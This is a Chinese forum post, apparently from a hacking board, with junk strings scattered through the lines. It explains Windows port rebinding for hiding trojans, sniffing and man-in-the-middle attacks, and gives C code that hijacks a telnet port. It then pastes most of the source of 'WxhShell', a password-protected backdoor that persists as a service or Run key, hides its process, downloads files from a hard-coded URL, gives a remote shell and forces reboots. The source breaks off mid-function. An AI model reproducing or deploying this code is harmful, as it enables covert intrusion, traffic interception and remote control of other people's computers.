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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: G{!(2D4!  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~d3|zlh  
IF  cre  
  saddr.sin_family = AF_INET; )KY4BBc  
t`Rbn{   
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Y!`  pF  
jwg*\HO,s  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 6!HYx  
-,+~W#n  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 }5;/!P_A  
&;bey4_J  
  这意味着什么?意味着可以进行如下的攻击: ,9M2'6=  
:Q,~Nw>  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 @?jbah#  
p"6ydXn%  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) vJ{F)0 K  
F1S0C>N?5  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 1(pv 3  
rp4{lHw>C/  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  aCJ-T8?'  
@ULd~  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 (-],VB (+  
IR{XL\WF  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 u_}UU 2  
K^",LCJA  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 53$;ZO3  
N,Js8Z"  
  #include G?,"AA;  
  #include !*3]PZ25a(  
  #include H|$ *HQm  
  #include    GO.7IL{ {  
  DWORD WINAPI ClientThread(LPVOID lpParam);   KG4zjQf  
  int main() M~h.M PI  
  { nly}ly Q/  
  WORD wVersionRequested; Z&4L///  
  DWORD ret; j"jQiL_*  
  WSADATA wsaData; @r^s70{}  
  BOOL val; AiL80W^=d)  
  SOCKADDR_IN saddr; g{ ;OgS3>  
  SOCKADDR_IN scaddr; OnU-FX<  
  int err; i8KoJY"  
  SOCKET s; >l #D9%  
  SOCKET sc; ,xR u74  
  int caddsize; ~Q#! oh'i  
  HANDLE mt; H )>3c1  
  DWORD tid;   lWH#/5`h  
  wVersionRequested = MAKEWORD( 2, 2 ); Bt#'6::  
  err = WSAStartup( wVersionRequested, &wsaData ); "%bU74>  
  if ( err != 0 ) { t%O)Ti  
  printf("error!WSAStartup failed!\n"); jo1z#!|Yw}  
  return -1; UCup {pDp  
  } \D};0#G0&  
  saddr.sin_family = AF_INET; L& rtN@5;  
   H!6+x*P0  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 sIbPMu`&U  
~W={"n?=  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 7z$bCO L=S  
  saddr.sin_port = htons(23); x3( ->?)D  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $BT[fJ'k  
  { =HB(N|9_d  
  printf("error!socket failed!\n"); }I MV@z B  
  return -1; 15En$6>  
  } H|7XfM  
  val = TRUE; +sTPTCLE  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 u.G aMl4 (  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Y@< j vH1  
  { SkC.A ?  
  printf("error!setsockopt failed!\n"); SSbx[<E3  
  return -1; ^7*7^<  
  } MslgQmlM  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Q, "8Ty  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 pr1bsrMuL  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 )pe17T1|  
LE)$_i8gX  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) @Kn@j D;  
  { yTn<5T[H  
  ret=GetLastError(); ^16zZ*  
  printf("error!bind failed!\n"); R#.H&#  
  return -1; :>o 0zG[;f  
  } 3TZ:  
  listen(s,2); A0RSNAM  
  while(1) s? Xgo&rS_  
  { AlG5n'  
  caddsize = sizeof(scaddr); sekei6#fi  
  //接受连接请求 ho B[L}<c  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); fBh/$    
  if(sc!=INVALID_SOCKET) 9:GP~oI j  
  { Mu-kvgO`L  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ,Vo[mB  
  if(mt==NULL) <3/_'/C  
  { *9w-eK1{  
  printf("Thread Creat Failed!\n"); l(-"rE  
  break; \x\N?$`ANc  
  } =yM%#{t&W  
  } j_~mP>el)  
  CloseHandle(mt); $+ N~Fa  
  } :<k (y?GB  
  closesocket(s); u??ti OK{  
  WSACleanup(); W}2!~ep!  
  return 0; T9!NuKfur  
  }   /3tErc'  
  DWORD WINAPI ClientThread(LPVOID lpParam) diVg|Z3T  
  { "frioi`a2  
  SOCKET ss = (SOCKET)lpParam; cDzb}W*UM  
  SOCKET sc; 6Z' K1  
  unsigned char buf[4096]; 9Li&0E  
  SOCKADDR_IN saddr; z}.6yHS  
  long num; X9SOcg3a  
  DWORD val; >SL mlK  
  DWORD ret; U <q`f-  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Rg\4#9S JF  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   42A'`io[w]  
  saddr.sin_family = AF_INET; GCiG50Z=  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); GoAh{=s  
  saddr.sin_port = htons(23); afna7TlS  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) aaw[ia_EL  
  { J~om e7L  
  printf("error!socket failed!\n"); E{ e  
  return -1; nnN$?'%~6  
  } +kEM%z  
  val = 100; +:=FcsY  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) L-S5@;"  
  { m&D I2he  
  ret = GetLastError(); =3A4.nW  
  return -1; >3B {sn}  
  } iWC}\&i  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Hm!"%  
  {  U#K4)(C  
  ret = GetLastError(); V_D wHq2  
  return -1; &z5?]`ALu  
  } frW\!r{LT  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) :A!EjIL`#  
  { VS ;y  
  printf("error!socket connect failed!\n"); +!px+*)bW  
  closesocket(sc); o<Mcc j  
  closesocket(ss); K@xMPB8in  
  return -1; ~TXu20c  
  } rtQ{  
  while(1) b?Uk%Z]+v  
  { rw3tU0j  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 pc@mQI  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 y7CO%SA  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 4F0w+w JD  
  num = recv(ss,buf,4096,0); 7UG c2J  
  if(num>0) 77sG;8HE  
  send(sc,buf,num,0); vO&X<5?Qc  
  else if(num==0) kONn7Itbu  
  break; 7][fciZN  
  num = recv(sc,buf,4096,0); bp}97ZQ  
  if(num>0) );i J9+ V}  
  send(ss,buf,num,0); ;-Os~81o?  
  else if(num==0) );}M"W8  
  break; skan1wQ  
  } Lb<IEy77\  
  closesocket(ss); x|Pz24yP9  
  closesocket(sc); IemhHf ^l  
  return 0 ;  4q7H  
  } 4|I;z  
Ja4M@z  
&v1E)/q{Z  
========================================================== }`H{;A h  
NS`hXf  
下边附上一个代码,,WXhSHELL Gf9sexn]l  
&Ejhw3Nw  
========================================================== bpU> (j  
cZF|oZ6<  
#include "stdafx.h" ^>!&]@  
qzA_ ~=g  
#include <stdio.h> X"`[&l1  
#include <string.h> (G} }h  
#include <windows.h> t\ z@k9  
#include <winsock2.h> w/*#TDR  
#include <winsvc.h> {dxl8~/I  
#include <urlmon.h> 60n P'xfR  
$M0l (htR  
#pragma comment (lib, "Ws2_32.lib") Fq <JxamR  
#pragma comment (lib, "urlmon.lib") LJb=9tp~  
pV (Mh[ }P  
#define MAX_USER   100 // 最大客户端连接数 +aM[!pW(e  
#define BUF_SOCK   200 // sock buffer _[(EsIqc(F  
#define KEY_BUFF   255 // 输入 buffer Zos.WS#  
>b9J!'G,(  
#define REBOOT     0   // 重启 lDKyD`WKnZ  
#define SHUTDOWN   1   // 关机 ,ZrR*W?iF  
C{nk,j L  
#define DEF_PORT   5000 // 监听端口 W)D?8*  
#6YpV)  
#define REG_LEN     16   // 注册表键长度 )F&.0 '  
#define SVC_LEN     80   // NT服务名长度 nVgvn2N/  
UY({[?Se  
// 从dll定义API F;_o `h  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 5%QYe]D  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :%Iv<d<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); SEg{Gso9b  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); g$"x,:2x{  
XY9%aT*  
// wxhshell配置信息 X@Zt4)2#  
struct WSCFG { s 72yu}  
  int ws_port;         // 监听端口 >d"\  
  char ws_passstr[REG_LEN]; // 口令 Evg#sPu\  
  int ws_autoins;       // 安装标记, 1=yes 0=no (6mw@gzr  
  char ws_regname[REG_LEN]; // 注册表键名 EXH,+3fQp  
  char ws_svcname[REG_LEN]; // 服务名 }W!w  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {6Nbar@3  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 4Wa$>vz  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ` -SC,qHw  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Iix:Y}  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" i,Z-UA|f=T  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 gN(kRhp  
HfP<hQmN'  
}; FqnD"]A  
*0L3#. i  
// default Wxhshell configuration XH*(zTd(?  
struct WSCFG wscfg={DEF_PORT, 3d1xL+  
    "xuhuanlingzhe", Xa ;wx3]t  
    1, ?5lO1(  
    "Wxhshell", IIXA)b!  
    "Wxhshell", &,Loqr  
            "WxhShell Service", [J eq ?X9  
    "Wrsky Windows CmdShell Service", 5S&Qj7kr  
    "Please Input Your Password: ", yLXIjR  
  1, Xq37:E2  
  "http://www.wrsky.com/wxhshell.exe", /4+zT?f  
  "Wxhshell.exe" A~k: m0MX  
    }; H>]*<2(=-  
fMW=ss^fu-  
// 消息定义模块 |d6/gSiF  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9PO5GYU  
char *msg_ws_prompt="\n\r? for help\n\r#>"; RhF< {U.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; yU7XX+cB7  
char *msg_ws_ext="\n\rExit."; 7oUo[  
char *msg_ws_end="\n\rQuit."; ~=HPqe8  
char *msg_ws_boot="\n\rReboot..."; F2<Q~gQ;  
char *msg_ws_poff="\n\rShutdown..."; [rAi9LSO"  
char *msg_ws_down="\n\rSave to "; g2LvojR  
XPt>klf  
char *msg_ws_err="\n\rErr!"; Iw#[K  
char *msg_ws_ok="\n\rOK!"; vKdS1Dn1  
lY,9bSF$  
char ExeFile[MAX_PATH]; #jj (S\WY  
int nUser = 0; !rqs!-cCQ  
HANDLE handles[MAX_USER]; "av/a   
int OsIsNt; -{d(~XIo  
]eFNR1<OP  
SERVICE_STATUS       serviceStatus; a #p`l>rx  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; }I`o%GL  
|6Iw\YU  
// 函数声明 G2c\"[N1/  
int Install(void); o ?.VW/"  
int Uninstall(void); XJS^{=/  
int DownloadFile(char *sURL, SOCKET wsh); n36@&q+B&  
int Boot(int flag); tLdQO"  
void HideProc(void); NP~3!b  
int GetOsVer(void); ^$oEM0h  
int Wxhshell(SOCKET wsl); fG.6S"|M  
void TalkWithClient(void *cs); ~Z#\f5yv@  
int CmdShell(SOCKET sock);  _qt  
int StartFromService(void); 2#UVpgX?  
int StartWxhshell(LPSTR lpCmdLine); wn<k "6x  
7(LB}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); cauKG@:2F  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7eZwpg?K  
Tn>L?  
// 数据结构和表定义 qCm%};yt  
SERVICE_TABLE_ENTRY DispatchTable[] = $\20Vgu<  
{ 0PUSCka'6  
{wscfg.ws_svcname, NTServiceMain}, vsI|HxpyC,  
{NULL, NULL} 4Xn-L&0z  
}; oVfRp.a  
EWVn*xl?  
// 自我安装 iE{VmHp=  
int Install(void) << YH4}wZ  
{ $O\]cQD`u  
  char svExeFile[MAX_PATH]; >DzW  OB  
  HKEY key; !|"LAr9u  
  strcpy(svExeFile,ExeFile); *tDxwD7  
BBl9<ne$  
// 如果是win9x系统,修改注册表设为自启动 s cd}{Y  
if(!OsIsNt) { UM+g8J{$*;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ET6}V"UD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ( M3-S5   
  RegCloseKey(key); <2I<Z'B,e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +6<g N[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); reoCyP\!!  
  RegCloseKey(key); 7V~ gqum  
  return 0; ?U~`'^@  
    } UX ?S#:h  
  } 09Z\F^*$F  
} >+ Im:fD  
else { f+QDjJ?z  
Jy]}'eE?pr  
// 如果是NT以上系统,安装为系统服务 6a{b%e`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >T29kgF2  
if (schSCManager!=0) DpL|aRdbK  
{ @CCDe`R*  
  SC_HANDLE schService = CreateService M8FC-zFs  
  ( ::Di  
  schSCManager, $\nAGmp@  
  wscfg.ws_svcname, YJ01-  
  wscfg.ws_svcdisp,  }_?FmuU  
  SERVICE_ALL_ACCESS, Z&J.8A]L  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , uup>WW  
  SERVICE_AUTO_START, E. Arq6  
  SERVICE_ERROR_NORMAL, >t $^U  
  svExeFile, 0 |Rmb  
  NULL, &[-b #&y  
  NULL, t hQ)J|1  
  NULL, T`Qg+Q$  
  NULL, R"JT+m  
  NULL io4/M<6<  
  ); SRyot:l   
  if (schService!=0) XSo$;q\  
  { ~5_>$7L>  
  CloseServiceHandle(schService); Z%Yq{tAt  
  CloseServiceHandle(schSCManager); >iWw i'T=  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); C;eM:v0A[  
  strcat(svExeFile,wscfg.ws_svcname); )Yw m_f-N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2E=vMAS  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); inv 5>OeG  
  RegCloseKey(key);  )9$>i5l  
  return 0; ADlLodG  
    } ,*{9g6  
  } :=,lG ou  
  CloseServiceHandle(schSCManager); os`#:Ao5  
} >l0D,-O]m  
} fBt`D !Z8  
$3:O}X>  
return 1; f\M;m9{(  
} xw83dQ]}^  
:|E-Dx4F6H  
// 自我卸载 )?,X\/5  
int Uninstall(void) bl`vT3  
{ v.e~m2u_F  
  HKEY key; sT%^W  
H83/X,"!w  
if(!OsIsNt) { W .bJ.hO*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $+Vp>  
  RegDeleteValue(key,wscfg.ws_regname); [n9X5qG~  
  RegCloseKey(key); <+${gu?^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V|zatMHs  
  RegDeleteValue(key,wscfg.ws_regname);  Cdbh7  
  RegCloseKey(key); q.g0Oz@ z  
  return 0; `q(eB=6;[  
  } 58.b@@T  
} *u`[2xmuYf  
} zXx)xIO  
else { ;chz};zY  
DAtZp%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); $ -n?q w  
if (schSCManager!=0) 9Fv VM9  
{ W_P&;)E  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); *wVWyC  
  if (schService!=0) ,Z6\%:/  
  { '-5Q>d~&h  
  if(DeleteService(schService)!=0) { (*\*7dIo  
  CloseServiceHandle(schService); 2W 9N-t2 1  
  CloseServiceHandle(schSCManager); u!WjG@  
  return 0; aR}L- -m  
  } 2wki21oY  
  CloseServiceHandle(schService); vpl> 5%  
  } UL   
  CloseServiceHandle(schSCManager); z7'C;I  
} ES&"zjr$  
} 'qT[,iQ  
%RF9R"t$  
return 1; U4hFPK<  
} pN ^^U[  
=u#xPI0:  
// 从指定url下载文件 u= u#6%  
int DownloadFile(char *sURL, SOCKET wsh) $8"G9r  
{ C0$KpUB  
  HRESULT hr; OcWzo#q4[  
char seps[]= "/"; O0VbKW0h3  
char *token; =6N%;2`84  
char *file; Y={_o!9  
char myURL[MAX_PATH]; p#eai  
char myFILE[MAX_PATH]; 93aRWEu3  
|6d0,muN  
strcpy(myURL,sURL); hH|moj]  
  token=strtok(myURL,seps); ~Kr_[X:d5  
  while(token!=NULL) 7"c^$fj  
  { I Y='tw  
    file=token; [h GS*  
  token=strtok(NULL,seps); 1>BY:xZr  
  } -N3fhW#)  
cU^Z=B  
GetCurrentDirectory(MAX_PATH,myFILE); p*_^JU(<p  
strcat(myFILE, "\\"); ^-yEb\\i  
strcat(myFILE, file); tXgsWG?v[H  
  send(wsh,myFILE,strlen(myFILE),0); 5A~lu4-q  
send(wsh,"...",3,0); B7 ^*xskH  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); LR5X=&k  
  if(hr==S_OK) ~$O.KF:  
return 0; hZ ve8J  
else P'dH*}H  
return 1; :Rq>a@Rp  
nF8|*}w  
} f`dQ $Kh  
Y30e7d* qr  
// 系统电源模块 z ]@ Q  
int Boot(int flag) X \1grM  
{ p%8v+9+h2  
  HANDLE hToken; ?'@tx4#v\2  
  TOKEN_PRIVILEGES tkp; (H\)BS7#R  
n%M-L[n  
  if(OsIsNt) { Dp5hr8bT  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); bP4<q?FKcN  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 'k?%39  
    tkp.PrivilegeCount = 1; R*v~jR/   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ]CFh0N|(L  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); nbVlP  
if(flag==REBOOT) { b xU13ESv  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]Ywj@-*q  
  return 0; SP,#KyWP0)  
} UY)e6 Zd  
else { YL$#6d  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) o:E_k#Fi  
  return 0;  o IUjd  
} Y'75DE<BC  
  } B_^ ~5_0:  
  else { |m^qA](M  
if(flag==REBOOT) { 80p?qe  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) z2Pnni7Ys  
  return 0; \5]${vs&s  
} MS Ml  
else { ?\ qfuA9.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 'q#$^ ='o  
  return 0; 1nt VM+  
} cVg!"  
} `eF&|3!IYQ  
Eagl7'x  
return 1; lcv&/ A  
} .3{PgrZ  
(d L;A0L  
// win9x进程隐藏模块 (Hr_gkGtM  
void HideProc(void) E5#Dn.!~  
{ `30og]F0YJ  
@+gr>a1K#  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ] Q 'Ed  
  if ( hKernel != NULL ) 8IAf 9  
  { muAI$IRR   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); JAjXhk<=  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); w3l+BUn:X  
    FreeLibrary(hKernel); A,tmy',d"  
  } Z*Sa%yf  
SMMV$;O{9  
return; *1}UK9X;  
} X&B2&e;  
q'07  
// 获取操作系统版本 MOiTz L*  
int GetOsVer(void) z!z+E%H^  
{ duCso M/  
  OSVERSIONINFO winfo; u afSz@`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #~&SkIhBE  
  GetVersionEx(&winfo); =F(fum;zH  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) h";0i:  
  return 1; l3d^V&Sk  
  else =~)J:x\F  
  return 0; ]kJinXHW  
} j k%MP6  
b(hnouS  
// 客户端句柄模块 7J 0=HbH  
int Wxhshell(SOCKET wsl) `zr%+  
{ U_/sY9gz(  
  SOCKET wsh; UStNUNCq  
  struct sockaddr_in client; j%2l%Mx(  
  DWORD myID; +=XDNSw  
oKl^Ttr  
  while(nUser<MAX_USER) ?s4-2g  
{ 8"d0Su4r  
  int nSize=sizeof(client); C~16Jj:v  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =%p%+F@RlW  
  if(wsh==INVALID_SOCKET) return 1; X[Lwx.Ly8  
YbMeSU/sX  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);  _\H MF  
if(handles[nUser]==0) 8\z5*IPGs  
  closesocket(wsh); y^7ol;t  
else dQ4VpR9|;  
  nUser++; x%acWeV5  
  } =j%B`cJ66_  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); o gcEv>0  
< a g|#  
  return 0; 5dH}cXs  
} (dOC ^i  
W`baD!*  
// 关闭 socket {-(}p+;z  
void CloseIt(SOCKET wsh) ZI'MfkEZ*  
{ A]fN~PR  
closesocket(wsh); 7j9:s>D  
nUser--; |5uvmK  
ExitThread(0); ;Z\1PwT  
} jOJ$QT  
X!}  t``  
// 客户端请求句柄 w"s;R8  
void TalkWithClient(void *cs) %M=[h2SN  
{ m5O;aj* i  
v/n4Lp$W^  
  SOCKET wsh=(SOCKET)cs; :r?gD2q  
  char pwd[SVC_LEN]; _ >)+ u  
  char cmd[KEY_BUFF]; P\;L#2n  
char chr[1]; L5%t.7B  
int i,j; j2V"w&>b}  
@ ;%+Ms  
  while (nUser < MAX_USER) { Eei"baw/  
sFqLxSo_I  
if(wscfg.ws_passstr) { cC{eu[ XW  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ls8@@b,t2  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )ZxDfRjL  
  //ZeroMemory(pwd,KEY_BUFF); Fai_v{&?  
      i=0; k lLhi<*  
  while(i<SVC_LEN) { ` ZO#n  
V3%"z  
  // 设置超时 3 ;M7^DM  
  fd_set FdRead; rToZN!q\S  
  struct timeval TimeOut; #6<  X  
  FD_ZERO(&FdRead); "N"$B~W*  
  FD_SET(wsh,&FdRead); ao4"=My*G  
  TimeOut.tv_sec=8; P`/;3u/P  
  TimeOut.tv_usec=0; g@IV|C( *0  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); :}QBrd  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3\x@G)1  
8>T#sO?+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qPh @Bl3  
  pwd=chr[0]; ~r/"w'dB  
  if(chr[0]==0xd || chr[0]==0xa) { G?:{9. (  
  pwd=0; Yt]tRqrh;T  
  break; BMubN   
  } ~%SmH [i  
  i++; RCXm< /  
    } l;*/F`>c  
PI KQ}aq=  
  // 如果是非法用户,关闭 socket C,*3a`/2M^  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); HGuU6@~hu  
} &|/@;EA$8  
4o+SSS  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1J`<'{*  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #6t 4 vJ1  
s)Gnj;  
while(1) { bYPkqitqz  
U3Fa.bC6}  
  ZeroMemory(cmd,KEY_BUFF); _n6ge*,E  
8Ld`$_E  
      // 自动支持客户端 telnet标准   w_c)iJ  
  j=0; y^PQgzm]  
  while(j<KEY_BUFF) { d:Y!!LV-@L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); UL9]LEGG  
  cmd[j]=chr[0]; o1Bn^ w  
  if(chr[0]==0xa || chr[0]==0xd) { =>? ;Iv'Z  
  cmd[j]=0; j@N z  
  break; CSKOtqKQ)  
  } C`G+b{o  
  j++; L]wWJL  
    } #?x!:i$-  
}BF!!*  
  // 下载文件 bQU{)W  
  if(strstr(cmd,"http://")) { |PGF g0li  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); OQlmzg  
  if(DownloadFile(cmd,wsh)) u|;?FQ$M  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); VI xGD#m  
  else xwuGJ   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zKh^BwhO|X  
  } 6MCLm.L  
  else { 0bG[pp$[  
@nC][gNv  
    switch(cmd[0]) { l*r8.qp  
  KT5amct  
  // 帮助 6tx5{Xl-o  
  case '?': { +3>)r{#k  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :Dt]sE _d  
    break; a+HGlj 2>  
  } 'CQ~ZV5  
  // 安装 =3h?!$#?  
  case 'i': { ]_"c_QG  
    if(Install()) u%t/W0xi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }3825  
    else O{vVW9Q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~U;M1>  
    break; l|kGp~  
    } ftb .CPWI  
  // 卸载 T!f+H?6  
  case 'r': { VyMFALSe]h  
    if(Uninstall()) ?l> <?i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c-`'`L^J  
    else }1xD*[W  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Cs!z3QU  
    break; w"Q/ 6#!K  
    } 2_/H,  
  // 显示 wxhshell 所在路径 ?&`PN<~2z  
  case 'p': { mm dQ\\  
    char svExeFile[MAX_PATH]; ym_w09   
    strcpy(svExeFile,"\n\r"); ;s$,}O.  
      strcat(svExeFile,ExeFile); =(==aP  
        send(wsh,svExeFile,strlen(svExeFile),0); vE~>9  
    break; #Dz. 58A  
    } Qi=pP/Y  
  // 重启 kC_Kb&Q0  
  case 'b': { YHp]O+c  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ykS-5E`  
    if(Boot(REBOOT)) !MyCxM6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ` t6|09e  
    else { S4Q fx6:~h  
    closesocket(wsh); ?3_^SRW&a  
    ExitThread(0); @e#{Sm  
    } d)WGI RUx  
    break; l!*!)qCB(S  
    } 4=nh' U38  
  // 关机 T;M4NGmvd  
  case 'd': { ?mp}_x#=  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Yn_v'Os2  
